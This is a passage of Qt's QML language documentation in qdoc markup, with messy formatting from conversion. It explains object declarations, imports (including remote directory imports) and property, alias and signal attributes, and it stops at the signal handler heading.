This declares an object of type `Rectangle`, followed by a set of curly braces that encompasses the attributes defined for that object. The `Rectangle` type is a type made available by the `QtQuick` module, and the attributes defined in this case are the values of the rectangle's `width`, `height` and `color` properties. (These are properties made available by the `Rectangle` type, as described in the `Rectangle` documentation.)

The above object can be loaded by the engine if it is part of a `QML` document. That is, if the source code is complemented with `import` statement that imports the `QtQuick` module (to make the `Rectangle` type available), as below:

```
\qml
import QtQuick 2.0

Rectangle {
```

```
width: 100
height: 100
color: "red"
}
\endqml
```

When placed into a `\c.qml` file and loaded by the QML engine, the above code creates a `\l Rectangle` object using the `\l Rectangle` type supplied by the `\c QtQuick` module:

`\image qtqml-syntax-basics-object-declaration.png`

`\note` If an object definition only has a small number of properties, it can be written on a single line like this, with the properties separated by semi-colons:

```
\qml
Rectangle { width: 100; height: 100; color: "red" }
\endqml
```

Obviously, the `\l Rectangle` object declared in this example is very simple indeed, as it defines nothing more than a few property values. To create more useful objects, an object declaration may define many other types of attributes: these are discussed in the `\l{qtqml-syntax-objectattributes.html}`{QML Object Attributes} documentation. Additionally, an object declaration may define child objects, as discussed below.

`\section2 Child Objects`

Any object declaration can define child objects through nested object declarations. In this way, \b {any object declaration implicitly declares an object tree that may contain any number of child objects}.

For example, the \I Rectangle object declaration below includes a \I Gradient object declaration, which in turn contains two \I GradientStop declarations:

```
\qml
import QtQuick 2.0

Rectangle {
    width: 100
    height: 100

    gradient: Gradient {
        GradientStop { position: 0.0; color: "yellow" }
        GradientStop { position: 1.0; color: "green" }
    }
}

\endqml
```

When this code is loaded by the engine, it creates an object tree with a \I Rectangle object at the root; this object has a \I Gradient child object, which in turn has two \I GradientStop children.

Note, however, that this is a parent-child relationship in the context of the QML object tree, not in the context of the visual scene. The concept of a parent-child relationship in a visual scene is provided by the \I Item type from the \c QtQuick module, which is the base type for most QML types, as most QML objects are intended to be visually rendered. For example, \I Rectangle and \I Text are both \I

{Item}-based types, and below, a `Text` object has been declared as a visual child of a `Rectangle` object:

```
\qml
import QtQuick 2.0

Rectangle {
    width: 200
    height: 200
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, QML!"
    }
}

\endqml
```

When the `Text` object refers to its `parent` value in the above code, it is referring to its `visual parent`, not the parent in the object tree. In this case, they are one and the same: the `Rectangle` object is the parent of the `Text` object in both the context of the QML object tree as well as the context of the visual scene. However, while the `parent` property can be modified to change the visual parent, the parent of an object in the context of the object tree cannot be changed from QML.

(Additionally, notice that the `Text` object has been declared without assigning it to a property of the `Rectangle`, unlike the earlier example which assigned a `Gradient` object to the rectangle's `gradient` property. This is because the `children` property of `Item` has been set as the type's

`{qml-syntax-objectattributes.html#default-properties}` to enable this more convenient syntax.)

See the `{quick-visualcanvas-visualparent.html}` documentation for more information on the concept of visual parenting with the `Item` type.

## `\section1 Comments`

The syntax for commenting in QML is similar to that of JavaScript:

`\list`

`\li` Single line comments start with `//` and finish at the end of the line.

`\li` Multiline comments start with `/*` and finish with `*/`

`\endlist`

`\snippet qml/comments.qml 0`

Comments are ignored by the engine when processing QML code. They are useful for explaining what a section of code is doing, whether for reference at a later date or for explaining the implementation to others.

Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems.

`\qml`

Text {

```
    text: "Hello world!"

    //opacity: 0.5

}

\endqml
```

In the above example, the \l Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment.

\page qtqml-syntax-directoryimports.html

\title Importing QML Document Directories

\brief Description of directory import statements in QML

A local directory of QML files can be imported without any additional setup or configuration. A remote directory of QML files can also be imported, but requires a directory listing \c qmldir file to exist. A local directory may optionally contain a directory listing \c qmldir file in order to define the type names which should be provided to clients which import the directory, and to specify JavaScript resources which should be made available to importers.

\section1 Local Directory Imports

Any QML file on the local file system can import a local directory as using an

import statement that refers to the directory's absolute or relative file system path, enabling the file to use the `\{qtqml-typesystem-objecttypes.html}` {object types} defined within that directory.

If the local directory contains a directory listing `\c qmldir` file, the types will be made available with the type names specified in the `\c qmldir` file; otherwise, they will be made available with type names derived from the filenames of the QML documents. Only filenames beginning with an uppercase letter and ending with ".qml" will be exposed as types if no `\c qmldir` file is specified in the directory.

## `\section2` An Example

Consider the following QML project directory structure. Under the top level directory `\c myapp`, there are a set of common UI components in a sub-directory named `\c mycomponents`, and the main application code in a sub-directory named `\c main`, like this:

`\code`

`myapp`

- `| - mycomponents`
  - `| - CheckBox.qml`
  - `| - DialogBox.qml`
  - `| - Slider.qml`
- `| - main`
  - `| - application.qml`

```
\endcode
```

The `\c main/application.qml` file can import the `\c mycomponents` directory using the relative path to that directory, allowing it to use the QML object types defined within that directory:

```
\qml
```

```
import "../mycomponents"
```

```
DialogBox {
```

```
    CheckBox {
```

```
        // ...
```

```
    }
```

```
    Slider {
```

```
        // ...
```

```
    }
```

```
}
```

```
\endqml
```

The directory may be imported into a qualified local namespace, in which case uses of any types provided in the directory must be qualified:

```
\qml
```

```
import "../mycomponents" as MyComponents
```

```
MyComponents.DialogBox {  
    // ...  
}  
  
\endqml
```

The ability to import a local directory is convenient for cases such as in-application component sets and application prototyping, although any code that imports such modules must update their relevant `\c` import statements if the module directory moves to another location. This can be avoided if `\{qtqml-modules-identifiedmodules.html\}` QML modules are used instead, as an installed module is imported with a unique identifier string rather than a file system path.

## `\section1` Remotely Located Directories

A directory of QML files can also be imported from a remote location if the directory contains a directory listing `\c qmldir` file.

For example, if the `\c myapp` directory in the previous example was hosted at `"http://www.my-example-server.com"`, and the `\c mycomponents` directory contained a `\c qmldir` file defined as follows:

```
\code
```

```
CheckBox CheckBox.qml
```

```
DialogBox DialogBox.qml
```

```
Slider Slider.qml
```

```
\endcode
```

Then, the directory could be imported using the URL to the remote

\c mycomponents directory:

```
\qml
```

```
import "http://www.my-example-server.com/myapp/mycomponents"
```

```
DialogBox {
```

```
    CheckBox {
```

```
        // ...
```

```
    }
```

```
    Slider {
```

```
        // ...
```

```
    }
```

```
}
```

```
\endqml
```

Note that when a file imports a directory over a network, it can only access QML and JavaScript files specified in the \c qmldir file located in the directory.

\warning When importing directories from a remote server, developers should always be careful to only load directories from trusted sources to avoid

loading malicious code.

## \section1 Directory Listing qmlDir Files

A directory listing \c qmlDir file distinctly different from a \{qtqml-modules-qmlDir.html\}{module definition qmlDir file}. A directory listing \c qmlDir file allows a group of QML documents to be quickly and easily shared, but it does not define a type namespace into which the QML object types defined by the documents are registered, nor does it support versioning of those QML object types.

The syntax of a directory listing \c qmlDir file is as follows:

\table

\header

\li Command

\li Syntax

\li Description

\row

\li Object Type Declaration

\li <TypeName> <FileName>

\li An object type declaration allows a QML document to be exposed with the given \c <TypeName>.

Example:

```
\code
```

RoundedButton RoundedBtn.qml

```
\endcode
```

```
\row
```

```
\li Internal Object Type Declaration
```

```
\li internal <TypeName> <FileName>
```

\li An internal object type declaration allows a QML document to be registered as a type which becomes available only to the other QML documents contained in the directory import. The internal type will not be made available to clients who import the directory.

Example:

```
\code
```

internal HighlightedButton HighlightedBtn.qml

```
\endcode
```

```
\row
```

```
\li JavaScript Resource Declaration
```

```
\li <Identifier> <FileName>
```

\li A JavaScript resource declaration allows a JavaScript file to be exposed via the given identifier.

Example:

```
\code
```

```
MathFunctions mathfuncs.js
```

```
\endcode
```

```
\endtable
```

A local file system directory may optionally include a `\c.qmldir` file. This allows the engine to only expose certain QML types to clients who import the directory. Additionally, JavaScript resources in the directory are not exposed to clients unless they are declared in a `\c.qmldir` file.

\page qtqml-syntax-imports.html

\title Import Statements

\brief Description of import statements in QML

\section1 Syntax of an Import Statement

An import statement allows clients to tell the engine which modules, JavaScript  
resources and component directories are used within a QML document. The types  
which may be used within a document depends on which modules, resources and  
directories are imported by the document.

## \section2 Import Types

There are three different types of imports. Each import type has a slightly different syntax, and different semantics apply to different import types.

## \section3 Module (Namespace) Imports

The most common type of import is a module import. Clients can import `{qtqml-modules-identifiedmodules.html}` {QML modules} which register QML object types and JavaScript resources into a given namespace.

The generic form of a module import is as follows:

\code

```
import <ModuleIdentifier> <Version.Number> [as <Qualifier>]
```

\endcode

\list

- \li The \code <ModuleIdentifier> is an identifier specified in dotted URI notation, which uniquely identifies the type namespace provided by the module.

- \li The \code <Version.Number> is a version of the form `{MajorVersion.MinorVersion}` which specifies which definitions of various object types and JavaScript resources will be made available due to the import.

\li The \c <Qualifier> is an optional local namespace identifier into which the object types and JavaScript resources provided by the module will be installed, if given. If omitted, the object types and JavaScript resources provided by the module will be installed into the global namespace.

\endlist

An example of an unqualified module import is as follows:

\code

```
import QtQuick 2.0
```

\endcode

This import allows the use of all of the types provided by the \c QtQuick module without needing to specify a qualifier. For example, the client code to create a rectangle is as follows:

\qml

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 200
```

```
    height: 100
```

```
    color: "red"
```

```
}
```

\endqml

An example of a qualified module import is as follows:

```
\code
```

```
import QtQuick 2.0 as Quick
```

```
\endcode
```

This import allows multiple modules which provide conflicting type names to be imported at the same time, however since each usage of a type provided by a module which was imported into a qualified namespace must be preceded by the qualifier, the conflict is able to be resolved unambiguously by the QML engine.

An example of client code which creates a rectangle after using a qualified module import is as follows:

```
\qml
```

```
import QtQuick 2.0 as Quick
```

```
Quick.Rectangle {
```

```
    width: 200
```

```
    height: 100
```

```
    color: "red"
```

```
}
```

```
\endqml
```

For more information about qualified imports, see the upcoming section on

`\{Importing Into A Qualified Local Namespace}`.

Note that if a QML document does not import a module which provides a particular QML object type, but attempts to use that object type anyway, an error will occur. For example, the following QML document does not import `\c QtQuick` and thus attempting to use the `\c Rectangle` type will fail:

```
\qml
Rectangle {
    width: 200
    height: 100
    color: "red"
}
\endqml
```

In this case, the engine will emit an error and refuse to load the file.

#### `\section4 Non-module Namespace Imports`

Types can also be registered into namespaces directly via the various registration functions in C++ (such as `qmlRegisterType()`). The types which have been registered into a namespace in this way may be imported by importing the namespace, as if the namespace was a module identifier.

This is most common in client applications which define their own QML object

types in C++ and register them with the QML type system manually.

#### `\section4` Importing into a Qualified Local Namespace

The `\c` import statement may optionally use the `\c` as keyword to specify that the types should be imported into a particular document-local namespace. If a namespace is specified, then any references to the types made available by the import must be prefixed by the local namespace qualifier.

Below, the `\c QtQuick` module is imported into the namespace "CoreItems". Now, any references to types from the `\c QtQuick` module must be prefixed with the `\c CoreItems` name:

```
\qml
```

```
import QtQuick 2.0 as CoreItems
```

```
CoreItems.Rectangle {
```

```
    width: 100; height: 100
```

```
    CoreItems.Text { text: "Hello, world!" }
```

```
// WRONG! No namespace prefix - the Text type won't be found
```

```
    Text { text: "Hello, world!" }
```

```
}
```

```
\endqml
```

A namespace acts as an identifier for a module within the scope of the file.

The namespace does not become an attribute of the root object that can be referred to externally as can be done with properties, signals and methods.

The namespaced import is useful if there is a requirement to use two QML types that have the same name but are located in different modules. In this case the two modules can be imported into different namespaces to ensure the code is referring to the correct type:

```
\qml
import QtQuick 2.0 as CoreItems
import "../textwidgets" as MyModule

CoreItems.Rectangle {
    width: 100; height: 100

    MyModule.Text { text: "Hello from my custom text item!" }
    CoreItems.Text { text: "Hello from Qt Quick!" }
}
\endqml
```

Note that multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace. For example:

\snippet qml/imports/merged-named-imports.qml imports

### \section3 Directory Imports

A directory which contains QML documents may also be imported directly in a QML document. This provides a simple way for QML types to be segmented into reusable groupings: directories on the filesystem.

The generic form of a directory import is as follows:

```
\qml
import "<DirectoryPath>" [as <Qualifier>]
\endqml
```

\note Import paths are network transparent: applications can import documents from remote paths just as simply as documents from local paths. See the general URL resolution rules for \{[qtqml-documents-networktransparency.html](#)\} {Network Transparency} in QML documents. If the directory is remote, it must contain a \{[qtqml-syntax-directoryimports.html#directory-listing-qmldir-files](#)\} {directory import listing qmldir file} as the QML engine cannot determine the contents of a remote directory if that \c qmldir file does not exist.

Similar semantics for the \c <Qualifier> apply to directory imports as for module imports; for more information on the topic, please see the previous section about \{[Importing into a Qualified Local Namespace](#)\}.

For more information about directory imports, please see the in-depth documentation about [\{qml-syntax-directoryimports.html\}](#){directory imports}.

### \section3 JavaScript Resource Imports

JavaScript resources may be imported directly in a QML document. Every JavaScript resource must have an identifier by which it is accessed.

The generic form of a JavaScript resource import is as follows:

\code

```
import "<JavaScriptFile>" as <Identifier>
```

\endcode

Note that the \c <Identifier> must be unique within a QML document, unlike the local namespace qualifier which can be applied to module imports.

### \section4 JavaScript Resources from Modules

JavaScript files can be provided by modules, by adding identifier definitions to the \c qmldir file which specifies the module.

For example, if the \c projects.MyQMLProject.MyFunctions module is specified with the following \c qmldir file, and installed into the QML import path:

\code

```
module projects.MyQMLProject.MyFunctions
```

```
SystemFunctions 1.0 SystemFunctions.js
```

```
UserFunctions 1.0 UserFunctions.js
```

```
\endcode
```

a client application is able to import the JavaScript resources declared in the module by importing the module and using the identifier associated with a declared resource:

```
\qml
```

```
import QtQuick 2.0
```

```
import projects.MyQMLProject.MyFunctions 1.0
```

```
Item {
```

```
    Component.onCompleted: { SystemFunctions.cleanUp(); }
```

```
}
```

```
\endqml
```

If the module was imported into a document-local namespace, the JavaScript resource identifiers must be prefixed with the namespace qualifier in order to be used:

```
\qml
```

```
import QtQuick 2.0
```

```
import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs
```

```
import org.example.Functions 1.0 as TheirFuncs
```

```

Item {
    Component.onCompleted: {
        MyFuncs.SystemFunctions.cleanUp();
        TheirFuncs.SystemFunctions.shutdown();
    }
}

\endqml

```

#### \section4 Further Information

For more information about JavaScript resources, please see the documentation about [\{qtqml-javascript-resources.html}](#) {defining JavaScript resources in QML}, and for more information about how to import JavaScript resources, and how imports can be used from within JavaScript resources, please see the in-depth documentation about [\{qtqml-javascript-imports.html}](#){importing JavaScript resources in QML}.

#### \section1 QML Import Path

When an [\{Identified Modules}](#){identified module} is imported, the QML engine searches the [\e{import path}](#) for a matching module.

This import path, as returned by `QQmlEngine::importPathList()`, defines the

default locations to be searched by the engine. By default, this list contains:

\list

\li The directory of the current file

\li The location specified by QLibraryInfo::Qml2ImportsPath

\li Paths specified by the \c QML2\_IMPORT\_PATH environment variable

\endlist

Additional import paths can be added through QQmlEngine::addImportPath() or the

\c QML2\_IMPORT\_PATH environment variable. When running the

\l{Prototyping with qmlscene}{qmlscene} tool, you can also use the \c -I option

to add an import path.

## \section1 Debugging

The \c QML\_IMPORT\_TRACE environment variable can be useful for debugging

when there are problems with finding and loading modules. See

\l{Debugging module imports} for more information.

\page qtqml-syntax-objectattributes.html

\title QML Object Attributes

\brief Description of QML object type attributes

Every QML object type has a defined set of attributes. Each instance of an object type is created with the set of attributes that have been defined for that object type. There are several different kinds of attributes which can be specified, which are described below.

## \section1 Attributes in Object Declarations

An \l{qtqml-syntax-basics.html#object-declarations}{object declaration} in a QML document defines a new type. It also declares an object hierarchy that will be instantiated should an instance of that newly defined type be created.

The set of QML object-type attribute types is as follows:

\list

\li the \e id attribute

\li property attributes

\li signal attributes

\li signal handler attributes

\li method attributes

\li attached properties and attached signal handler attributes

\endlist

These attributes are discussed in detail below.

## `\section2` The `\e id` Attribute

Every QML object type has exactly one `\e id` attribute. This attribute is provided by the language itself, and cannot be redefined or overridden by any QML object type.

A value may be assigned to the `\e id` attribute of an object instance to allow that object to be identified and referred to by other objects. This `\c id` must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores.

Below is a `\I TextInput` object and a `\I Text` object. The `\I TextInput` object's `\c id` value is set to "myTextInput". The `\I Text` object sets its `\c text` property to have the same value as the `\c text` property of the `\I TextInput`, by referring to `\c myTextInput.text`. Now, both items will display the same text:

```
\qml
```

```
import QtQuick 2.0
```

```
Column {
```

```
    width: 200; height: 200
```

```
TextInput { id: myTextInput; text: "Hello World" }

Text { text: myTextInput.text }

}

\endqml
```

An object can be referred to by its `\c id` from anywhere within the `\e {component scope}` in which it is declared. Therefore, an `\c id` value must always be unique within its component scope. See [\{qtqml-documents-scope.html\}](#){Scope and Naming Resolution} for more information.

Once an object instance is created, the value of its `\e id` attribute cannot be changed. While it may look like an ordinary property, the `\c id` attribute is `\b{not}` an ordinary `\c` property attribute, and special semantics apply to it; for example, it is not possible to access `\c myTextInput.id` in the above example.

## `\section2` Property Attributes

A property is an attribute of an object that can be assigned a static value or bound to a dynamic expression. A property's value can be read by other objects. Generally it can also be modified by another object, unless a

particular QML type has explicitly disallowed this for a specific property.

### \section3 Defining Property Attributes

A property may be defined for a type in C++ by registering a `Q_PROPERTY` of a class which is then registered with the QML type system. Alternatively, a custom property of an object type may be defined in an object declaration in a QML document with the following syntax:

\code

```
[default] property <propertyType> <propertyName>
```

\endcode

In this way an object declaration may \l {Defining Object Types from QML} {expose a particular value} to outside objects or maintain some internal state more easily.

Property names must begin with a lower case letter and can only contain letters, numbers and underscores. \l {JavaScript Reserved Words} {JavaScript reserved words} are not valid property names. The \c default keyword is optional, and modifies the semantics of the property being declared. See the upcoming section on \l {Default Properties}{default properties} for more information about the \c default property modifier.

Declaring a custom property implicitly creates a value-change

\{Signal attributes\}{signal} for that property, as well as an associated \{Signal handler attributes\}{signal handler} called \e on<PropertyName>Changed, where \e <PropertyName> is the name of the property, with the first letter capitalized.

For example, the following object declaration defines a new type which derives from the Rectangle base type. It has two new properties, with a \{Signal handler attributes\}{signal handler} implemented for one of those new properties:

```
\qml
Rectangle {
    property color previousColor
    property color nextColor
    onNextColorChanged: console.log("The next color will be: " + nextColor.toString())
}
\endqml
```

#### \section4 Valid Types in Custom Property Definitions

Any of the \{QML Basic Types\} aside from the \{enumeration type\} can be used as custom property types. For example, these are all valid property declarations:

```
\qml
Item {
```

```
property int someNumber  
property string someString  
property url someUrl  
}  
\endqml
```

(Enumeration values are simply whole number values and can be referred to with the `int` type instead.)

Some basic types are provided by the `QtQuick` module and thus cannot be used as property types unless the module is imported. See the [QML Basic Types](#) documentation for more details.

Note the `var` basic type is a generic placeholder type that can hold any type of value, including lists and objects:

```
\code  
property var someNumber: 1.5  
property var someString: "abc"  
property var someBool: true  
property var someList: [1, 2, "three", "four"]  
property var someObject: Rectangle { width: 100; height: 100; color: "red" }  
\endcode
```

Additionally, any [QML Object Types](#) QML object type can be used as a

property type. For example:

```
\code
```

```
property Item someItem
```

```
property Rectangle someRectangle
```

```
\endcode
```

This applies to \l {Defining Object Types from QML}{custom QML types} as well.

If a QML type was defined in a file named \c ColorfulButton.qml (in a directory

which was then imported by the client), then a property of type

\c ColorfulButton would also be valid.

### \section3 Assigning Values to Property Attributes

The value of a property of an object instance may specified in two separate ways:

```
\list
```

```
\li a value assignment on initialization
```

```
\li an imperative value assignment
```

```
\endlist
```

In either case, the value may be either a \e static value or a \e {binding expression}

value.

### \section4 Value Assignment on Initialization

The syntax for assigning a value to a property on initialization is:

```
\code
    <propertyName> : <value>
\endcode
```

An initialization value assignment may be combined with a property definition in an object declaration, if desired. In that case, the syntax of the property definition becomes:

```
\code
    [default] property <propertyType> <propertyName> : <value>
\endcode
```

An example of property value initialization follows:

```
\qml
import QtQuick 2.0

Rectangle {
    color: "red"

    property color nextColor: "blue" // combined property declaration and initialization
}
\endqml
```

## \section4 Imperative Value Assignment

An imperative value assignment is where a property value (either static value or binding expression) is assigned to a property from imperative JavaScript code. The syntax of an imperative value assignment is just the JavaScript assignment operator, as shown below:

\code

```
[<objectId>].<propertyName> = value
```

\endcode

An example of imperative value assignment follows:

\qml

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    id: rect
```

```
    Component.onCompleted: {
```

```
        rect.color = "red"
```

```
    }
```

```
}
```

\endqml

### \section3 Static Values and Binding Expression Values

As previously noted, there are two kinds of values which may be assigned to a property: \e static values, and \e {binding expression} values. The latter are also known as \l{Property Binding}{property bindings}.

\table

\header

\li Kind

\li Semantics

\row

\li Static Value

\li A constant value which does not depend on other properties.

\row

\li Binding Expression

\li A JavaScript expression which describes a property's relationship with other properties. The variables in this expression are called the property's \e dependencies.

The QML engine enforces the relationship between a property and its dependencies. When any of the dependencies change in value, the QML engine automatically re-evaluates the binding expression and assigns the new result to the property.

```
\endtable
```

Here is an example that shows both kinds of values being assigned to properties:

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    // both of these are static value assignments on initialization
```

```
    width: 400
```

```
    height: 200
```

```
Rectangle {
```

```
    // both of these are binding expression value assignments on initialization
```

```
    width: parent.width / 2
```

```
    height: parent.height
```

```
}
```

```
}
```

```
\endqml
```

\note To assign a binding expression imperatively, the binding expression must be contained in a function that is passed into `\{Qt::binding()\}{Qt.binding()}`, and then the value returned by `Qt.binding()` must be assigned to the property. In contrast, `Qt.binding()` must not be used when assigning a binding expression upon initialization. See `\{Property Binding}` for more information.

### `\section3` Type Safety

Properties are type safe. A property can only be assigned a value that matches the property type.

For example, if a property is a real, and if you try to assign a string to it, you will get an error:

`\code`

```
property int volume: "four" // generates an error; the property's object will not be loaded
```

`\endcode`

Likewise if a property is assigned a value of the wrong type during run time, the new value will not be assigned, and an error will be generated.

Some property types do not have a natural value representation, and for those property types the QML engine automatically performs string-to-typed-value conversion. So, for example, even though properties of the `\c` color type store colors and not strings, you are able to assign the string `\c "red"` to a color property, without an error being reported.

See `\l {QML Basic Types}` for a list of the types of properties that are

supported by default. Additionally, any available `{QML Object Types}` `{QML object type}` may also be used as a property type.

### `\section3 Special Property Types`

### `\section4 Object List Property Attributes`

A `{list type}` property can be assigned a list of QML object-type values.

The syntax for defining an object list value is a comma-separated list surrounded by square brackets:

`\code`

```
[ <item 1>, <item 2>, ... ]
```

`\endcode`

For example, the `{Item}` type has a `{Item::states}` property that is used to hold a list of `{State}` type objects. The code below initializes the value of this property to a list of three `{State}` objects:

`\qml`

```
import QtQuick 2.0
```

```
Item {
```

```
    states: [
```

```
        State { name: "loading" },
```

```
        State { name: "running" },  
        State { name: "stopped" }  
    ]  
}  
\endqml
```

If the list contains a single item, the square brackets may be omitted:

```
\qml  
import QtQuick 2.0  
  
Item {  
    states: State { name: "running" }  
}  
\endqml
```

A `list` type property may be specified in an object declaration with the following syntax:

```
\code  
[default] property list<<objectType>> propertyName  
\endcode
```

and, like other property declarations, a property initialization may be combined with the property declaration with the following syntax:

```
\code
```

```
[default] property list<<objectType>> propertyName: <value>
```

```
\endcode
```

An example of list property declaration follows:

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    // declaration without initialization
```

```
    property list<Rectangle> siblingRects
```

```
    // declaration with initialization
```

```
    property list<Rectangle> childRects: [
```

```
        Rectangle { color: "red" },
```

```
        Rectangle { color: "blue" }
```

```
    ]
```

```
}
```

```
\endqml
```

If you wish to declare a property to store a list of values which are not necessarily QML object-type values, you should declare a `var` property instead.

## `\section4` Grouped Properties

In some cases properties contain a logical group of sub-property attributes.

These sub-property attributes can be assigned to using either the dot notation or group notation.

For example, the `\l Text` type has a `\l{Text::font.family}{font}` group property. Below, the first `\l Text` object initializes its `\c font` values using dot notation, while the second uses group notation:

`\code`

```
Text {
```

```
    //dot notation
```

```
    font.pixelSize: 12
```

```
    font.b: true
```

```
}
```

```
Text {
```

```
    //group notation
```

```
    font { pixelSize: 12; b: true }
```

```
}
```

`\endcode`

Grouped property types are basic types which have subproperties. Some of these basic types are provided by the QML language, while others may only be used if the Qt Quick module is imported. See the documentation about `{QML Basic Types}` for more information.

### `\section3 Property Aliases`

Property aliases are properties which hold a reference to another property. Unlike an ordinary property definition, which allocates a new, unique storage space for the property, a property alias connects the newly declared property (called the aliasing property) as a direct reference to an existing property (the aliased property).

A property alias declaration looks like an ordinary property definition, except that it requires the `\c alias` keyword instead of a property type, and the right-hand-side of the property declaration must be a valid alias reference:

```
\code
[default] property alias <name>: <alias reference>
\endcode
```

Unlike an ordinary property, an alias can only refer to a object, or the property of a object, that is within the scope of the `{QML Object Types}` {type} within which the alias is declared. It cannot contain arbitrary

JavaScript expressions and it cannot refer to objects declared outside of the scope of its type. Also note the `\e {alias reference}` is not optional, unlike the optional default value for an ordinary property; the alias reference must be provided when the alias is first declared.

For example, below is a `\c Button` type with a `\c buttonText` aliased property which is connected to the `\c text` object of the `\l Text` child:

```
\qml
// Button.qml
import QtQuick 2.0

Rectangle {
    property alias buttonText: textItem.text

    width: 100; height: 30; color: "yellow"

    Text { id: textItem }
}
\endqml
```

The following code would create a `\c Button` with a defined text string for the child `\l Text` object:

```
\qml
```

```
Button { buttonText: "Click Me" }
```

```
\endqml
```

Here, modifying `\c buttonText` directly modifies the `textItem.text` value; it does not change some other value that then updates `textItem.text`. If `\c buttonText` was not an alias, changing its value would not actually change the displayed text at all, as property bindings are not bi-directional: the `\c buttonText` value would have changed if `textItem.text` was changed, but not the other way around.

#### `\section4` Considerations for Property Aliases

Aliases are only activated once a component has been fully initialized. An error is generated when an uninitialized alias is referenced. Likewise, aliasing an aliasing property will also result in an error.

`\snippet qml/properties.qml` alias complete

When importing a `\{QML Object Types\}`{QML object type} with a property alias in the root object, however, the property appear as a regular Qt property and consequently can be used in alias references.

It is possible for an aliasing property to have the same name as an existing property, effectively overwriting the existing property. For example,

the following QML type has a `\c color` alias property, named the same as the built-in `\l {Rectangle::color}` property:

```
\snippet qml/properties.qml alias overwrite
```

Any object that use this type and refer to its `\c color` property will be referring to the alias rather than the ordinary `\l {Rectangle::color}` property. Internally, however, the red can correctly set its `\c color` property and refer to the actual defined property rather than the alias.

### \section3 Default Properties

An object definition can have a single `\e default` property. A default property is the property to which a value is assigned if an object is declared within another object's definition without declaring it as a value for a particular property.

Declaring a property with the optional `\c default` keyword marks it as the default property. For example, say there is a file `MyLabel.qml` with a default property `\c someText`:

```
\qml
```

```
// MyLabel.qml
```

```
import QtQuick 2.0
```

```
Text {  
    default property var someText  
  
    text: "Hello, " + someText.text  
}  
\endqml
```

The \c someText value could be assigned to in a \c MyLabel object definition,  
like this:

```
\qml  
MyLabel {  
    Text { text: "world!" }  
}  
\endqml
```

This has exactly the same effect as the following:

```
\qml  
MyLabel {  
    someText: Text { text: "world!" }  
}  
\endqml
```

However, since the `\c someText` property has been marked as the default property, it is not necessary to explicitly assign the `\l Text` object to this property.

You will notice that child objects can be added to any `\l {Item}`-based type without explicitly adding them to the `\l {Item::children}{children}` property. This is because the default property of `\l Item` is its `\c data` property, and any items added to this list for an `\l Item` are automatically added to its list of `\l {Item::children}{children}`.

Default properties can be useful for reassigning the children of an item. See the `\l{TabWidget Example}`, which uses a default property to automatically reassign children of the `TabWidget` as children of an inner `ListView`.

### `\section3 Read-Only Properties`

An object declaration may define a read-only property using the `\c readonly` keyword, with the following syntax:

`\code`

```
    readonly property <propertyType> <propertyName> : <initialValue>
```

`\endcode`

Read-only properties must be assigned a value on initialization. After a read-only property is initialized, it is no longer possible to give it a value, whether from imperative code or otherwise.

For example, the code in the `\c Component.onCompleted` block below is invalid:

```
\qml
Item {
    readonly property int someNumber: 10

    Component.onCompleted: someNumber = 20 // doesn't work, causes an error
}
\endqml
```

`\note` A read-only property cannot also be a `\l{Default Properties}{default}` or `\l{Property Aliases}{alias}` property.

### `\section3` Property Modifier Objects

Properties can have

`\l{qtqml-cppintegration-definetypes.html#property-modifier-types}`

`{property value modifier objects}` associated with them.

The syntax for declaring an instance of a property modifier type associated with a particular property is as follows:

```

\code
<PropertyModifierTypeName> on <propertyName> {
    // attributes of the object instance
}
\endcode

```

It is important to note that the above syntax is in fact an [\{qtqml-syntax-basics.html#object-declarations\}](http://qtqml-syntax-basics.html#object-declarations) object declaration which will instantiate an object which acts on a pre-existing property.

Certain property modifier types may only be applicable to specific property types, however this is not enforced by the language. For example, the `NumberAnimation` type provided by `QtQuick` will only animate numeric-type (such as `int` or `real`) properties. Attempting to use a `NumberAnimation` with non-numeric property will not result in an error, however the non-numeric property will not be animated. The behavior of a property modifier type when associated with a particular property type is defined by its implementation.

## \section2 Signal Attributes

A signal is a notification from an object that some event has occurred: for example, a property has changed, an animation has started or stopped, or

when an image has been downloaded. The `MouseArea` type, for example, has a `clicked` signal that is emitted when the user clicks within the mouse area.

An object can be notified through a `Signal handler attributes` `{signal handler}` whenever it a particular signal is emitted. A signal handler is declared with the syntax `on<Signal>` where `<Signal>` is the name of the signal, with the first letter capitalized. The signal handler must be declared within the definition of the object that emits the signal, and the handler should contain the block of JavaScript code to be executed when the signal handler is invoked.

For example, the `onClicked` signal handler below is declared within the `MouseArea` object definition, and is invoked when the `MouseArea` is clicked, causing a console message to be printed:

```
\qml
import QtQuick 2.0

Item {
    width: 100; height: 100

    MouseArea {
        anchors.fill: parent
        onClicked: {
```

```
        console.log("Click!")
    }
}
}
\endqml
```

### \section3 Defining Signal Attributes

A signal may be defined for a type in C++ by registering a Q\_SIGNAL of a class which is then registered with the QML type system. Alternatively, a custom signal for an object type may be defined in an object declaration in a QML document with the following syntax:

```
\code
    signal <signalName>([[<type> <parameter name>[, ...]])]
\endcode
```

Attempting to declare two signals or methods with the same name in the same type block is an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.)

Here are three examples of signal declarations:

```
\qml
```

```
import QtQuick 2.0
```

```
Item {  
    signal clicked  
    signal hovered()  
    signal actionPerformed(string action, var actionResult)  
}  
\endqml
```

If the signal has no parameters, the "()" brackets are optional. If parameters are used, the parameter types must be declared, as for the `\c string` and `\c var` arguments for the `\c actionPerformed` signal above. The allowed parameter types are the same as those listed under `\l {Defining Property Attributes}` on this page.

To emit a signal, invoke it as a method. Any relevant

`\l {Signal handler attributes}{signal handlers}` will be invoked when the signal is emitted, and handlers can use the defined signal argument names to access the respective arguments.

### `\section3 Property Change Signals`

QML types also provide built-in `\e {property change signals}` that are emitted whenever a property value changes, as previously described in the section on `\l {Property attributes}{property attributes}`. See the upcoming section on `\l {Property change signal handlers}{property change signal handlers}` for more

information about why these signals are useful, and how to use them.

## \section2 Signal Handler Attributes

